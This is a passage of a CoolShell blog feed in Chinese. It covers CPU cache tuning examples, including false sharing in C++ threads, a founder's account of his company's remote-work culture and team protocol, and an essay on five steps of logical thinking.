    我们可以看到,从 [9,1024] 以后,时间显著上升。包括 [17,512][18,512] 也显著上升。这是因为,我机器的 L1 Cache 是 32KB, 8 Way 的,前面说过,8 Way的有64组,每组8个Cache Line,当for-loop步长超过1024个整型,也就是正好 4096 Bytes时,也就是导致内存地址的变化是变化在高位的24bits上,而低位的12bits变化不大,尤其是中间6bits没有变化,导致全部命中同一组set,导致大量的cache 冲突,导致性能下降,时间上升。而 [16, 512]也是一样的,其中的几步开始导致L1 Cache开始冲突失效。

    +
    示例三
    +

    接下来,我们再来看个示例。下面是一个二维数组的两种遍历方式,一个逐行遍历,一个是逐列遍历,这两种方式在理论上来说,寻址和计算量都是一样的,执行时间应该也是一样的。

    +

    +const int row = 1024;
    +const int col = 512
    +int matrix[row][col];
    +
    +//逐行遍历
    +int sum_row=0;
    +for(int _r=0; _r<row; _r++) {
    +    for(int _c=0; _c<col; _c++){
    +        sum_row += matrix[_r][_c];
    +    }
    +}
    +
    +//逐列遍历
    +int sum_col=0;
    +for(int _c=0; _c<col; _c++) {
    +    for(int _r=0; _r<row; _r++){
    +        sum_col += matrix[_r][_c];
    +    }
    +}
    +

    +

    然而,并不是,在我的机器上,得到下面的结果。

    +
      +
    • 逐行遍历:0.081ms
    • +
    • 逐列遍历:1.069ms
    • +
    +

    执行时间有十几倍的差距。其中的原因,就是逐列遍历对于CPU Cache 的运作方式并不友好,所以,付出巨大的代价。

    +
    示例四
    +

    接下来,我们来看一下多核下的性能问题,参看如下的代码。两个线程在操作一个数组的两个不同的元素(无需加锁),线程循环1000万次,做加法操作。在下面的代码中,我高亮了一行,就是p2指针,要么是p[1],或是 p[30],理论上来说,无论访问哪两个数组元素,都应该是一样的执行时间。

    +

    +void fn (int* data) {
    +    for(int i = 0; i < 10*1024*1024; ++i)
    +        *data += rand();
    +}
    +
    +int p[32];
    +
    +int *p1 = &p[0];
    +int *p2 = &p[1]; // int *p2 = &p[30];
    +
    +thread t1(fn, p1);
    +thread t2(fn, p2);
    +

    +

    然而,并不是,在我的机器上执行下来的结果是:

    +
      +
    • 对于 p[0]p[1] :560ms
    • +
    • 对于 p[0]p[30]:104ms
    • +
    +

    这是因为 p[0]p[1] 在同一条 Cache Line 上,而 p[0]p[30] 则不可能在同一条Cache Line 上 ,CPU的缓存最小的更新单位是Cache Line,所以,这导致虽然两个线程在写不同的数据,但是因为这两个数据在同一条Cache Line上,就会导致缓存需要不断进在两个CPU的L1/L2中进行同步,从而导致了5倍的时间差异

    +
    示例五
    +

    接下来,我们再来看一下另外一段代码:我们想统计一下一个数组中的奇数个数,但是这个数组太大了,我们希望可以用多线程来完成这个统计。下面的代码中,我们为每一个线程传入一个 id ,然后通过这个 id 来完成对应数组段的统计任务。这样可以加快整个处理速度

    +

    +int total_size = 16 * 1024 * 1024; //数组长度
    +int* test_data = new test_data[total_size]; //数组
    +int nthread = 6; //线程数(因为我的机器是6核的)
    +int result[nthread]; //收集结果的数组
    +
    +void thread_func (int id) {
    +    result[id] = 0;
    +    int chunk_size = total_size / nthread + 1;
    +    int start = id * chunk_size;
    +    int end = min(start + chunk_size, total_size);
    +
    +    for ( int i = start; i < end; ++i ) {
    +        if (test_data[i] % 2 != 0 ) ++result[id];
    +    }
    +}

    +

    然而,在执行过程中,你会发现,6个线程居然跑不过1个线程。因为根据上面的例子你知道 result[] 这个数组中的数据在一个Cache Line中,所以,所有的线程都会对这个 Cache Line 进行写操作,导致所有的线程都在不断地重新同步 result[] 所在的 Cache Line,所以,导致 6 个线程还跑不过一个线程的结果。这叫 False Sharing

    +

    优化也很简单,使用一个线程内的变量。

    +

    +void thread_func (int id) {
    +    result[id] = 0; 
    +    int chunk_size = total_size / nthread + 1;
    +    int start = id * chunk_size;
    +    int end = min(start + chunk_size, total_size);
    +
    +    int c = 0; //使用临时变量,没有cache line的同步了
    +    for ( int i = start; i < end; ++i ) {
    +        if (test_data[i] % 2 != 0 ) ++c;
    +    }
    +    result[id] = c;
    +}

    +

    我们把两个程序分别在 1 到 32 个线程上跑一下,得出的结果画一张图如下所示(横轴是线程数,纵轴是完成统的时间,单位是微秒):

    +

    +

    上图中,我们可以看到,灰色的曲线就是第一种方法,橙色的就是第二种(用局部变量的)方法。当只有一个线程的时候,两个方法相当,基本没有什么差别,但是在线程数增加的时候的时候,你会发现,第二种方法的性能提高的非常快。直到到达6个线程的时候,开始变得稳定(前面说过,我的CPU是6核的)。而第一种方法无论加多少线程也没有办法超过第二种方法。因为第一种方法不是CPU Cache 友好的。也就是说,第二种方法,只要我的CPU核数足够多,就可以做到线性的性能扩展,让每一个CPU核都跑起来,而第一种则不能

    +

    篇幅问题,示例就写到这里,相关的代码参看我的Github相关仓库

    +

    延伸阅读

    + +

    总之,这个CPU Cache的调优技术不是什么新鲜的东西,只要Google就能找到有很多很多文章……

    +

    (全文完)

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/20793.html/feed + 56 + + +
    + + MegaEase的远程工作文化 + https://coolshell.cn/articles/20765.html + https://coolshell.cn/articles/20765.html#comments + + + Fri, 31 Jan 2020 15:23:18 +0000 + + + + + + + + https://coolshell.cn/?p=20765 + + Read More Read More

    ]]>
    + MegaEase 是我创业的公司,主要是想把云计算(PaaS/SaaS层)的那些高可用高并发的分布式技术普及到那需要对技术自主可控的公司,这样就不需要去使用不能自主可控的闭源系统或是大公司的云平台。我于2016年开始成立MegaEase,从早期8个人,直到今天有20来个人,我们从一开始到今天都是在远程工作的公司文化。因为我很喜欢《Rework》这本书,写这本书的公司叫37signal(现名basecamp),这家公司在发《Rework》这本书的时候,整个公司只有16个人,分布在全世界8个城市,这种Geek的公司的文化很吸引我,所以,在我决定创业的时候,我就止不住地想成立这样能够远程工作的公司,于是,远程工作的团队文化就这样成为了MegaEase的基因。下面我会分享一下,我们公司的远程工作文化和其中的一些问题,最后还有一个工作协议

    +

    我们在早期的时候,8个员工来自5个城市,现在的20来个员工来自8个城市2个国家。虽然我们现在使用“共享办公室”,但是本质上,我们的整个文化是远程工作的文化。在2017-2018年度,我们公司产品商业化以来,公司早期的8个工程师在远程工作的状态下成功支持了得到的老罗的跨年演讲活动,以及其它几个客户,一方面验证了用户愿意付费购买我们的产品和服务之后,另一方面也有一些不错的收入,客单价都在百万左右。还记得当时,有几个投资人并不相信我们连个办公室都没有,而且8个人分布在5个城市,觉得我们是个骗子公司(哈哈)。在过去的一年,我们通过我们的产品和服务帮助银行电信互联网等公司进行了他们的系统架构的改造和升级,让复杂和高门槛的分布式技术和架构可以被更多的企业所掌握所应用。这说明,远程工作是没有什么问题的。实际上远程团队远程工作真的不新鲜,Github上有个Repo维护着一个支持远程工作的公司列表,还有一个跟远程工作相关的Awesome索引

    +

    当然,自从我创业以来,我身边就一直有好些不同的声音质疑远程工作。听过他们的理由后,我能够理解他们的疑虑和困惑,因为管理的确是一个很复杂的事,因为要面对的是极为复杂的人,所以,有这些疑虑也是正常的。下面是我的一些经验和分享。先说宏观管理,再说微观实践。

    +

    +

    宏观管理

    +

    我发现很多人比较质疑远程工作的原因,更多的是表现在对宏观的管理上有问题。所以,我还是想先说一下宏观管理,这其实并不分远程办公还是集中式办公,如果能够解决好些这管理上的根本问题,其实,远程不远程都无所谓了。只不过,这些问题在“远程办室”的场景更更突显罢了

    +
    一、努力找到好的人
    +

    团队管理的头等大事是找人,没有之一。很多人都会跟我说,你的这种远程团队需要很好的人。是的,没错,人很关键。远程团队需要的人的一般需要有这些特质:

    +
      +
    • 能独挡一面的人。这样交给他的事能独立完成,没有路能自己找路,这样可以省很多管理成本。
    • +
    • 沟通能力很强的人。一方面,他们把模糊的事能变清楚,另一方面,他能有效地说服他人。不然就会非常扯皮和消耗时间。
    • +
    • 能自管理和自驱动。不能自管理和自驱的人,会增加大量的管理和教育成本。能自驱动的人,都是对负责的事情有认同的人。
    • +
    +

    如果你仔细思考一下,你会发现,这样的人是任何一家公司所渴望的人,和远不远程无关。只不过,如果是远程团队的话,你会被逼着要招到这样的人。

    +

    招到这样的人,你团队的执行力会非常的强悍。招不到这样的人,你只能为他们不能自管理和自驱而招“经理”,不能写出好的代码而招“测试”,不能很好的沟通而招个“项目经理”,不能独档一面,而要把好的人安排给他们当“教练”,而好的人则会被累死……

    +

    这个时候,你就需要计算一下了,是花时间精力在教育不好的人,还是花时间精力找好的人?无论远不远程,聪明的管理者都会选择后者。这也就是为什么Amazon的Bezos会说,“我宁愿面50个人一个人都招不到,我也不愿意降低我的面试标准”。

    +
    二、设定共同的目标和使命
    +

    对于远程团队来说因为见不到面,所以,缺乏交流和沟通。所以,需要团队里所有人能在同一篇上,能够对要做的事有一个统一标准的认识。也就是共同的目标和使命的认知。知道要要什么,不要什么。知道取舍,知道trade-off。这些东西都是需要团队一起达成的共识。如果没有这样的“Same Picture”的目标和使命,就会出现很多不必要的误解和冲突。另外,因为团队和业务也在迅速发展中,所以,也需要不断地调整和沟通。这都需要领导者花费时间统一目标和使命。

    +

    老实说,无论远程不远程,一个团队也是需要有共同的目标和使命的。没有共同的目标,就算是集中在一起办公,也一样没有效率的。

    +
    三、倾向使用小团队
    +

    因为沟通成本的问题,远程团队更为倾向使用小团队,但并不是说小团队会限制整个公司的规模。《人月神话》说过,只有小团队才能驾驭复杂的系统。Amazon 的 Two Pizza Team的文化(团队的大小只能到两张披萨就能喂饱的大小),就是把整个系统拆成“微服务”架构,这样可以导致整体效率的巨大提升。表现在,可以并行开发,专注于一个功能更利于解决复杂问题,简单可以更容易的运维,可以更容易的规模化……

    +

    我工作的这20多年来经历过很多公司,尤其是创业的这几年来,看过的公司更多了(50+以上了),我发现,人数越多的团队,基本上来说,就更偏劳动密集型。劳动密集型的一个特征就是,大家整天在想,得整点什么事给这么多人,好让他们忙起来。而人数少的团队,因为人不够,所以每天都在想,什么样的事更重要,什么样的事可以自动化,怎么做更有效率……小团队和大团队的关注点就这么不一样了,所以做出来的事也就不一样了……

    +

    当然,并不是说劳动密集型有什么问题,就像《软件团队的两种管理方式》一文所说的一样,远程团队工作更倾向于“电影工作组”式的每个人都是leader的知识密集型的团队。

    +

    微观实践

    +

    在远程工作中,我们需要有很多的微观操作来让大家能够更好的进行远程工作。因为远程工作也有一些问题(但是方法总比问题多,不是吗?)

    +
      +
    • 文档驱动。首先,远程的问题就是沟通不方便了,集中化的办公一群人可以在白板上进行讨论,然后远程工作这个事就变成很复杂了。所以,当要讨论什么事的时候,需要发起人先写一个文档,然后大家在这个文档上进行讨论(我们通常使用Github的issue,Pull Request或Google Doc)。另外,写文档的好处太多了,除了给后人有一个可以追溯的东西,更重要的是,写作是一种深度思考,当你把你脑子里想的东西写下来的时候,你就会发现你的思考更多了。所以,文档驱动我们团队能力非常重要的事。
    • +
    +
      +
    • 自动化和简化。自动化和简化是我平时追得最多的东西了,从软件的Unit Test, Functional Test, Performance Test 一直到用Kubernetes进行自动化部署,我要求的就是从一提交完代码后就自动化的上线。我们玩的是Amazon的“单分支”代码管理的玩法,一旦代码merge上master,就会直接上线(当然需要通过灰度)。因为远程团队如果没有自动化的工具,那么,就会导致整体效率的下降。
    • +
    +
      +
    • Owner文化。这个太重要的了,但是,这并不是在说,如果一个事没有owner,就会像“三个和尚”那样,事情就进了没人管的地步。这是因为很多人在工作中都是比较 nice 的,比较 nice 的人通常来说都不好意思跳出来对别人发号施令。所以,Owner 文化就是要求每件事都要定义一个Owner,而这个Owner是有权对其它人发号施令的,其他人也有义务要配合他。当然,Owner 的权利越大,责任也会越大!
    • +
    +
      +
    • Review文化。Review文档是一种把知识或是想法传递出去的方式。我们在实践过程中,需要大家把好的想法写下来,这需要包括问题背景、目标、可选的方案(这些方案需要有引用和数据,不能是拍脑袋)、还需要有Pros/Cons的比较。然后再发起讨论。这样,事情在一开始就做好,那么就可以让大家的讨论更加地有效率。很多人以为开会讨论有个议题就行了,其实不够,有效率的开会讨论需要的是议案,而且还是高质量的议案!
    • +
    +
      +
    • 目标承诺。我们需要每个人承诺自己的工作目标,这个完全由每个个体来发起、完成。一般来说,每个人自己给自己制定的计划最好是在1-2周内。
    • +
    +
      +
    • 自我管理。我们的实践是没有审批制度,无论是,休假、报销、出差,完全是自己自由安排,但需要告诉团队(除非在一些关键时期没法休长假,需要整个团队全力以赴),但千万不要撒谎和作弊,一旦发现,直接开除就好了。这个是基于好人更多的原则制定的(没有必要为了少数的坏人一刀切后让所有人痛苦)
    • +
    +
      +
    • 闲聊和自行见面。见面和不能见面是一件非常不一样的事,在一起工作时,人和人是会有感情的,因为会有闲聊。远程的时候,则只有工作了。所以,我们鼓励团队人员间的私聊,闲聊,互相对方讲讲自己的经历和过往,同时,也鼓励员工自行出差到对方的城市见见跟你一起工作的人,公司报销差旅费。
    • +
    +
      +
    • 知识分享会。我们每周都有知识分享会,一次只讲半个小时,不贪多,就讲一个小的知识点。然后,团队中的一些人还主动使用Google Form来收集分享的反馈信息。
    • +
    +
      +
    • 就地奖励文化。我们默认上是没有年终奖,只有就地奖励文化。也就是说,你做的事挣钱了,利润中有70%公司拿走,剩下的30%团队的人就地分掉。这样会让团队里的每个人都会想怎么挣钱,除了可以把精力放到那些能够让用户付费的地方上,更重要的是让团队成员了解一下业务和用户为什么要付费,这个是非常关键的。当然,如果公司没有挣钱,但是员工工作的不错,我们还是会给年终奖的。不挣钱的主要责任是我的,而挣钱的主要功劳是团队的。
    • +
    +
      +
    • 外包支持性的工作。一些支持性的工作尽可能地使用外包,比如:HR、行政、发工资财务、员工持股、测试人员、定制化开发……这样可以让你的团队更小,更高内聚。更利于远程。
    • +
    +
      +
    • 异步编程。如果一个项目是从零开始的,对于一个团队来说可能会是无从下手的,这需要有个人(owner)把代码的框架和结构给组织好。然后其他的人进入把坑填了,这样的效率会高很多。另外,不见面的结对编程,完全可以使用异步的方式进行,这其实就是多人干同一个pull request的方式。有Github这样的协议工作,远程编码变得很方便。
    • +
    +

    关于我们的远程工具,我们主要是使用:

    +
      +
    • 开发环境 +
        +
      • AWS,我们主要使用AWS,因为我希望团队在使用AWS的时候能够被潜移默化。
      • +
      +
    • +
    • 协作工具 +
        +
      • Github。我们所有跟软件开发的工作都会在Github上,我们重度使用 Github 的 pull request 和 issue,也会使用 Github Project 里的看板和 Wiki。
      • +
      • Google全家桶。我们重度使用 Google,Google Group、Google Driver、Google Docs 主要是一些各式各样的文档。
      • +
      +
    • +
    • 通讯工具 +
        +
      • 语音沟通。主要是使用Zoom,因为Zoom不但可以支持几十人在线,还可以云录制。如果小范围交流的话,一般使用微信语音。
      • +
      • 工作沟通。主要是使用Slack,Slack作为一个信息集散地,可以分频道,可以分thread讨论,微信注是个渣。
      • +
      • 吹水群。我司的吹水群主要是Telegram,因为比微信好太多了……
      • +
      +
    • +
    +

    你会发现,我们的工具有好些都是在墙外的,是的,因为墙内的同类的工作实在是太难用了,没办法不用。而且,我倾向于让大家用上最先进的工具,这样我们团队中的每个人的品味才会被这些好的工具潜移默化

    +

    远程工作协议

    +

    下面是我们的远程工作协议(无删减),这是每一个远程工作人员需要同意并做到的协议(其中有 Amazon Leadership Principles 的影子),目前在 v1.3 版,未来还会更新,我现在把它晒出来,也希望得到更好的建议!

    +

     

    +

    MegaEase 远程工作团队协作协议 v1.3

    +

    Principles

    +

    0)Ownership & Leadership

    +

    每个人都是Owner,都是Leader, 如果看到团队或是项目有问题的时候,不要等,也不忍,请马上说出来,并给出相应的方案, 自己跳出来召集开会,及时调整。不要闷在那里,自己憋!

    +

    1)Initiative

    +

    每人个都必需是主动的,都需要自己发起要做的事,或是自己要认领要做的事,如果发现自己没有事情了, 需要学会主动发现问题,主动找到可以improve的地方,创新来源于此。没有路要学会自己造路!

    +

    2)Objectives Oriented

    +

    每个人都是产品经理,也都是项目经理,每个人都必需把自己的工作和我们大的目标连接在一起,知道什么是重点,重点的东西就是两件事:一)从用户的角度出发,二)从产品的角度出发。 这意味着我们要随时观察整个产品的样子,而不只是自己这一块东西 。

    +

    3)Insists on High Standard

    +

    举法其上,得乎其中,举法其中,得乎其下,举法其下,法不得也。我们要坚持用高的标准要求自己,对于高标准的目标不妥协,但是在实施路径和策略上可以妥协。

    +

    Practices

    +

    0)Online

    +

    工作的时候必需在线。如果不在线了,需要说一下不在线的时长, 目前我们工作的事宜在通讯工具采用Slack, 如果需要请假的情况,如果不是紧急情况,需要提前一天 在MegaEase的Slack #random 频道中提前说明。如果是紧急情况,也需要提前在random频道中告知大家。

    +

    1) Documentation Driven

    +

    面对面交谈、电话语音、微信、Slack虽然是比较实时的反馈工具,但是只有文档是可以把重要信息给结构化的,而且写文档其实是比起前面的方式来说是更为深度的思考,因为会让你自己审视自己的想法。所以,对于一些重要 “功能”、“流程”、“业务逻辑” 、“设计”、“问题”,以及“想法”,最好都以文档化的方式进行。请使用Github的 wiki、project、issue这些工具或是使用Google Doc.

    +

    2)Design Review

    +

    对于一些重要的问题或是工作(每个人都能够判断什么是关键问题和工作), 需要先把自己的想法share出来,而不是先实现 。

    +

    一个好的 Design 文档需要包括如下项:

    +
      +
    • Background。交待这个事的背景、需求和要解决问题。
    • +
    • Objectives。说明这个事的目标和意义。
    • +
    • Alternative Solutions。 给出多个解决方案,并能够进行 Pros/Cons 对比。 +
        +
      • Reference。方案需要有权威引用支持。
      • +
      • Data。方案需要有相关数据数据支持。
      • +
      +
    • +
    • Conclusion。结论是什么。
    • +
    +

    3) Simplification & Automation

    +

    简化和自动化是软件工程所追求的两大目标,简化不是简陋,简化是对事物一种抽象和归纳能力,其能够提升软件的复用能力和扩展性,自动化是工程能力的重要体现,一方面,远程工作中自动化的能力可以让整个团队更高效地协作,另一方面,自动化是规模化的提条件。所以,我们要无时无刻地思考如何简化和自动化现有的事情。

    +

    4)Review & Re-factory

    +

    无论是代码还是工作都是需要反思和重构的。反思是进步的源泉,项目告一段落时,出现问题时,都应该召集团队做集体反思,把好的东西坚持下去,把不好的东西优化掉。这样才能进步和改进。但是任何的优化措施是可执行的。

    +

    5)Milestone Commitment

    +

    对于一个项目,每个人都需要有自己的 milestone 计划, 这个计划最好是在2周以内,1周内是最好的。而且要承诺到 。

    +

    6)Evidence Driven

    +

    任何讨论和分析都要基于权威的证据、数据或是引用。在我们做设计的时候,或是有争论的时候,说服对方最好的方式就是拿出证据、数据或是权威引用。比如:我的XX设计参考了TCP协议中的XX设计,我的XX观点是基于XX开源软件的实现……如果争论不休就停止争论,然后各自收集和调查自己观点的佐证。

    +

    7)Demo Day

    +

    把自己做的东西跟团队做一次实时的演示。这样有助于开发人员从产品角度思考自己的工作。除了演示产品功能,还可以演示算法,设计,甚至代码。

    +

    8) Effective Meeting

    +

    会议主要处理三件事:提出议案、发现问题、共识结论。

    +
      +
    • 会议不仅仅要有议题,最好还有议案。
    • +
    • 会议期间不解决问题,只发现问题,和跟踪问题。
    • +
    • 会议必需要有共识和结论,如果不能达到共识和结论,那就当成问题处理,由问题的负责人跟进问题。
    • +
    +

    关于周会或是临时性的团队会议(私下讨论不属于会议),会议组织者需要在事前收集会议议题,其中包括如下分类:

    +
      +
    • 项目类:需要事先有项目进度计划表(任何分项最好控制在1-2人周内)
    • +
    • 方案类:需要事先写好相关的方案和设计才能讨论(参看 Design Review 章节)
    • +
    • 问题类:需要事先写好相关的问题和解决提案(参看 Design Review 章节)
    • +
    • 决策类:需要事先写好整事的前因后果以及利弊分析
    • +
    • 信息类:需要事先写好相关的事宜说明
    • +
    +

    组织者需要在周五的时候发出会议议题收集,其中包括:

    +
      +
    • 自己知道的项目的进度跟进(需要相相关的项目负责人准备相关的项目计划)
    • +
    • 方案和问题类的需要各个项目负责人提出来,并有相关的设计文档可供Review
    • +
    • 信息类和决策类的事宜可以写在Google Doc上,也可以写在 Team 的 Issue 里
    • +
    +

    其它负责人可以在会议上加入自己团队的东西,或是要求其他团队提供更多的信息。

    +

    9)1-2-3 Escalation

    +

    遇到问题的时候,自己一个人处理1小时内没有思路,请找他人小范围讨论,如果与他人2小时内没有结果,请上升到团队范围,如果在团队范围3小时内没有思路,我们就需要借助外部力量了。

    +

    A)3PS Update

    +

    每个人更新进度的时候,不要只是一个check-in,而是需要更 meaningful 的说一下工作内容,在工作告一段落的时候,希望简单的说一下工作总结。这里的practice是: 3PS – Plan,Proirity,Problem,Summary, – 你的计划是什么?优先级是什么?遇到了什么问题?当前的工作摘要 。

    +

    B) Disagree and Commitment

    +

    在我们开发的时候,团队的成员都会有自己风格,必然会对同一个问题产生较大的争议(Disagree),我们鼓励有争议,但是是在团队的决议作出之前。一旦团队形成决议,团队的成员就必须支持这个决议,并在这个方向上做出贡献。

    +

    但是关于决议的形成过程肯定充斥着各种的争论,对于这些争论,我们可以按照下面的Guidline 来处理争议:

    +
      +
    • Owner要负责对重大的讨论推进,尽快形成结论。
    • +
    • 在决议过程中,要有纪要,要更新到 Github 相关项目的 Issue 或 Pull Request 里,并且要让整个团队知道,信息平等很重要。
    • +
    • 不要妥协,坚持高的标准。第一标准是工业标准,第二标准是国外的大公司标准(如:google, fb, github, aws…),第三标准才是国内的标准。
    • +
    • 那怕再复杂,只要是标准,就可以说服用户。用户再无理,也不可能反对工业级的标准。
    • +
    • Release出去的东西,只要被用户用上了,要改就难了,所以要谨慎而果敢。
    • +
    +

    小结

    +

    远程工作并不是目的,但是远程工作会逼迫管理者面对管理的本质问题。远程工作趋向于找到优秀自驱的人才,守护团队的共同目标,并打造精悍高能的团队,并要求我们在需要沟通和协作的地方使用更为科学和有效的手段,在各个环节中提升工作效率,降低组织内耗……你的团队管理模型是否最优,在远程工作下就会一览无余!远程工作只是一个手段,提升管理水平才是真正的目的!

    +

    (全文完)

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/20765.html/feed + 51 + + +
    + + 使用简单的逻辑方法进行独立思考 + https://coolshell.cn/articles/20533.html + https://coolshell.cn/articles/20533.html#comments + + + Thu, 26 Dec 2019 22:46:53 +0000 + + + + + https://coolshell.cn/?p=20533 + + Read More Read More

    ]]>
    + 这是一个非常复杂的世界,这个世界上有很多各式各样的观点和思维方式,作为一个程序员的我,也会有程序员的思维方式,程序员的思维方式更接近数学的思维方式,数学的思维方式让可以很容易地理清楚这个混乱的世界,其实,并不需要太复杂的数学逻辑,只需要使用一些简单的数学方法,就可以大幅提升自己的认识能力,所以,在这里,记录一篇我自己的思维方式,一方面给大家做个参考,另一方面也供更高阶的人给我进行指正。算是“开源我的思维方式”,开放不仅仅是为了输出,更是为了看看有没有更好的方式。

    +

    我的思维方式中,使用数学逻辑的方式进行思考,通常来说,我会使用五步思考的方式:

    +

    第一步:信息数据可考证。如果一个观点或是一个见解的数据是错误的,那么就会造成后面的观点全是错的,所以,首要的是要进行数据的查证或考证。一般来说,如果一篇文章的作者足够严谨的话,他的需要给他的数据建立相关的引用或是可以考证的方法方式。如果一篇文章中出现的是,“有关专家表明”、“美国科学家证明”、“经济学家指出”,但是没有任出处,也没有点明这个专家或是科学家的名字,或是,也没有说明或引用让读者可以自己去验证的方法。那么,其引用的话或是数据是无法考证的,如果是无法考证的,那么,这篇文章的水份就非常大了。一般来说,当我读到一篇文章中的东西没有可考证的来源或是方法时,通常来说,我就不会再读了,因为这篇文章的价值已经不大了,如果我关心这篇文章中的东西,我会改为自己去查找的方式,虽然变“重”了,但是很安全。(所以,像Wikipedia这样的网站是我经常去获得信息的地方,因为信息可以被考证是其基本价值观)

    +

    +

    第二步:处理集合和其包含关系。这是一个非常简单的人人都会的数学逻辑。比如:哲学家是人,柏拉图是哲学家,所以,柏拉图是人。就是一个在包含关系下的推理。你不要小看这个简单的逻辑,其实很多人并不会很好的应用,相反,当感情支配了他们以后,他们会以点代面,以特例代替普遍性。比如,地图炮就是一种,他们看到了多个案例,他们就开始把这个案例上升上更大的范围,比如:河南人新疆人都是小偷,上海人都是小市民。日本人都是变态和反人类……等等。除了这些地图炮外,还有否定整个人的,比如一个人犯了个错或是性格上有缺陷,就会把整个人全盘否定掉,员工抢个月饼就上升到其价值观有问题……。在数学的逻辑包含中,超集的定义可以适用于子集,通过子集的特征可以对超集进行探索,但是没法定义超集。另外,集合的大小也是一个很重要的事,幸存者偏差会是一个很容易让人掉下去的陷阱,因为可能会有很大的样本集可能在你的视线盲区。

    +

    第三步:处理逻辑因果关系。所谓因果关系,其实就是分辨充分条件、必要条件和充分必要条件,然后处理其中的逻辑是否有关联性,而且有非常强的因果关系。没有能力分辨充分必要条件处理因果关系是很多人的硬伤。就像我在《努力就会成功》中说的一样,“努力” 和 “成功”是否有因果关系?各种逻辑混淆、概念偷换、模糊因果、似是而非全是在这里。比如:掩耳盗铃、刻舟求剑就是因果关系混乱的表现。人们会经常地混淆两个看来一起发生,但是并没有关联在一起的事。因果关系是最容易被模糊和偷换的,比如:很多人都容易混淆“加班”就会有“产出”,混淆了“行动”就会有“结果”,混淆了“抵制”就会赢得“尊重”,混淆了“批评”等于“反对”……等等。除了这些以外,微信公众号里的很多时评文章,他们的文章中的结论和其论据是没有因果关系的,好多文章就是混淆、模糊、偷换……因果关系出问题的文章读多了是对大脑有损伤的,要尽量远离

    +

    第四步:找到靠谱的基准线。就像我们写代码一样,我们都是会去找一些最佳实践或是业内标准,原因是因为,这样的东西都是经过长时间被这个世界上很多人Review过的,是值得依赖和靠谱的,他们会考虑到很多你没有考虑过的问题。所以,你也会看到很多时评都会找欧美发达国家的作参考的做法,因为毕竟人家的文化是相对比较文明、科学、开放和先进的。找到世界或是国际的通行标准,会更容易让人进步。比如:以开放包容加强沟通的心态,就会比封闭抵制敌对的心态要好得多得多,智者建桥,愚者建墙。当然,我们也开始发现,有一些事上,有利于自己的就对标,不利于自己的就不对标,而且,除了好的事,不好的事也在找欧美作对标,于是开始“多基准线”和“乱基准线”,这种方式需要我们小心分辨。

    +

    第五步:更为深入和高维的思考。如果一件事情只在表面上进行思考其实只是一种浅度思考,在Amazon,线上系统出现故障的时候,需要写一个Correction of Errors的报告,其中需要Ask 5 Whys(参看 Wikipedia 的 Five Whys 词条),这种思考方式可以让你不断追问到深层次的本质问题,会让你自己做大量的调查和研究,让你不会成为一个只会在表面上进行思考的简单动物。比如:当你看到有出乎你意料的事件发生时(比如负面的暴力事件),你需要问一下,为什么会发生,原因是什么?然后罗列尽可能全的原因,再不断地追问并拷证下去(这跟写程序一样,需要从正向案例和负向案例进行考虑分析,才可能写出健壮性很强的代码),我们才会得出一个比较健壮的答案或结构。

    +

    需要注意的是,在上述的这五种思维方式下,你的思考是不可能快得起来的,这是一个“慢思考”(注:如果读过《思考,快与慢》这本书的人就知道我在说什么),独立思考是需要使用大脑中的“慢系统”,慢系统是反人性的,所以,能真正做到独立思考的人很少。更多的人的“独立思考”其实只不过是毫无章法的乱思考罢了。

    +

    通过上述的这五点,我相信你是很容易识别或是分辨出哪些信息是靠谱的,哪些信息是很扯的,甚至会改善你自己的言论和思考。但是,请注意,这些方法并不能让你获得真理或是真相。但是这也够了,一个人如果拥有了能够分辨是非的能力,也是很不错的了。虽然不知道事实是什么,但是你也不会盲从和偏信,从而不会被人煽动,而成为幕后黑手的的一只“肉鸡”。

    +

    多说两句,下面是一些我个人的一些实践:

    +
      +
    • 当新闻报道报道的不是客观事实,而是加入了很多观点,那么这篇新闻报道是不可信的。
    • +
    • 对于评论性的文章,没有充足权威可信的论据时,不能完全相信。
    • +
    • 不是当事人,不是见证人,还要装作自己是知情的……不知道这种人的自信怎么来的?
    • +
    • 信息不公开的,并有意屏蔽信息的,不能作为可信的信息源。
    • +
    • 当出现大是或是大非的事时,一定要非常小心,这个世界不存在完全的美和完全的丑,这样的观点通常来说都是危险的,此时要多看看不同角度的报道和评论,要多收集一些信息,还要多问问为什么。
    • +
    +

    欢迎你告诉我一些你的实践和思维方式。

    +

    (全文完)

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/20533.html/feed + 53 + + +
    + + 别让自己“墙”了自己 + https://coolshell.cn/articles/20276.html + https://coolshell.cn/articles/20276.html#comments + + + Sun, 01 Dec 2019 11:10:21 +0000 + + + + + https://coolshell.cn/?p=20276 + + Read More Read More

    ]]>
    + 这一两周与几个朋友聊天,有年轻的90后,也有大叔级的70后,这些人在我看来都是很有能力的人,但是一些喜好过于强烈,让我不经意地回顾了我工作20年来身边的人,有发展得好的,也有发展的不好的,有些人是很可惜的,因为限制他们的不是其它人,也不是环境,而是自己,所以,很想写下这篇文章。(注:这篇文章可能会是一篇说教的文章,所以,可能会让你看着犯困,所以,我会尽量地短一些,而且尽可能多讲故事,少道理,这里的故事,全是真实发生的)

    +

    几个故事

    +

